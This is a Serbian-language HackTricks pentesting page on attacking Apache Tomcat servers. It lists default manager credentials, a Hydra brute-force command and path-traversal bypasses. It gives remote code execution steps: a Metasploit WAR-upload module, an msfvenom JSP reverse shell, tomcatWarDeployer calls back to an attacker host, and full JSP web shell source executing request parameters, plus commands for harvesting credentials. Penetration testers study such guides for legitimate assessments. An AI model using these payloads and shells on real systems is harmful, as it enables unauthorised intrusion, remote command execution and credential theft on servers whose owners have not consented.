.. | ||
basic-tomcat-info.md | ||
README.md |
Tomcat
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks? ili želite pristupiti najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu? Proverite PLANOVE ZA PRIJAVU!
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova u hacktricks repozitorijum i hacktricks-cloud repozitorijum.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Otkriće
- Obično se pokreće na portu 8080
- Uobičajena Tomcat greška:
Enumeracija
Identifikacija verzije
Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna komanda:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Lokacija Datoteka Menadžera
Identifikacija tačnih lokacija /manager
i /host-manager
direktorijuma je ključna jer se njihova imena mogu promeniti. Preporučuje se grubo pretraživanje kako bi se locirale ove stranice.
Enumeracija Korisničkih Imena
Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena kroz:
msf> use auxiliary/scanner/http/tomcat_enum
Podrazumevani pristupni podaci
Direktorijum /manager/html
je posebno osetljiv jer omogućava otpremanje i implementaciju WAR fajlova, što može dovesti do izvršenja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a česti pristupni podaci su:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Ove pristupne podatke možete testirati korišćenjem:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Još jedan značajan direktorijum je /manager/status
, koji prikazuje verziju Tomcat-a i operativnog sistema, pomažući u identifikaciji ranjivosti.
Napad grubom silom
Za pokušaj napada grubom silom na direktorijum menadžera, može se koristiti:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Uobičajene ranjivosti
Otkrivanje lozinke putem praćenja tragova
Pristupanje /auth.jsp
može otkriti lozinku putem praćenja tragova u povoljnim okolnostima.
Dvostruko kodiranje URL adrese
Ranjivost CVE-2007-1860 u mod_jk
omogućava dvostruko kodiranje URL adrese za prolazak kroz putanju, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno oblikovane URL adrese.
Da biste pristupili upravljačkom vebu Tomcata, idite na: pathTomcat/%252E%252E/manager/html
/primeri
Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni otkrivanju informacija i napadima preko skripti sa preusmeravanjem preko stranice (XSS). Ove skripte, navedene sveobuhvatno, treba proveriti radi neovlašćenog pristupa i potencijalne eksploatacije. Pronađite više informacija ovde
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Eksploatacija prolaska kroz putanju
U nekim ranjivim konfiguracijama Tomcata možete dobiti pristup zaštićenim direktorijumima u Tomcatu koristeći putanju: /..;/
Na primer, možda ćete moći pristupiti stranici za upravljanje Tomcatom pristupanjem: www.vulnerable.com/lalala/..;/manager/html
Još jedan način za zaobilaženje zaštićenih putanja korišćenjem ovog trika je pristup http://www.vulnerable.com/;param=value/manager/html
RCE
Na kraju, ako imate pristup Upravljaču veb aplikacijama Tomcata, možete otpakovati i implementirati .war datoteku (izvršiti kod).
Ograničenja
Moći ćete implementirati WAR datoteku samo ako imate dovoljno privilegija (uloge: admin, manager i manager-script). Te detalje možete pronaći u tomcat-users.xml obično definisane u /usr/share/tomcat9/etc/tomcat-users.xml
(varira između verzija) (videti POST odeljak).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Napravite rat za implementaciju:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
- Postavite fajl
revshell.war
i pristupite mu (/revshell/
):
Bind i reverse shell sa tomcatWarDeployer.py
U nekim scenarijima ovo ne radi (na primer, starije verzije sun-a)
Preuzimanje
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Obrnuti shell
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Bind shell
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Korišćenje Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Ručni metod - Veb čaura
Kreirajte index.jsp sa ovim sadržajem:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Ručni metod 2
Preuzmite JSP web ljusku poput ove i kreirajte WAR datoteku:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Ime datoteke sa Tomcat kredencijalima je tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Drugi načini za prikupljanje Tomcat akreditacija:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Ostali alati za skeniranje Tomcat-a
Reference
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks? ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u? Proverite PLANOVE ZA PRIJAVU!
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova hacktricks repou i hacktricks-cloud repou.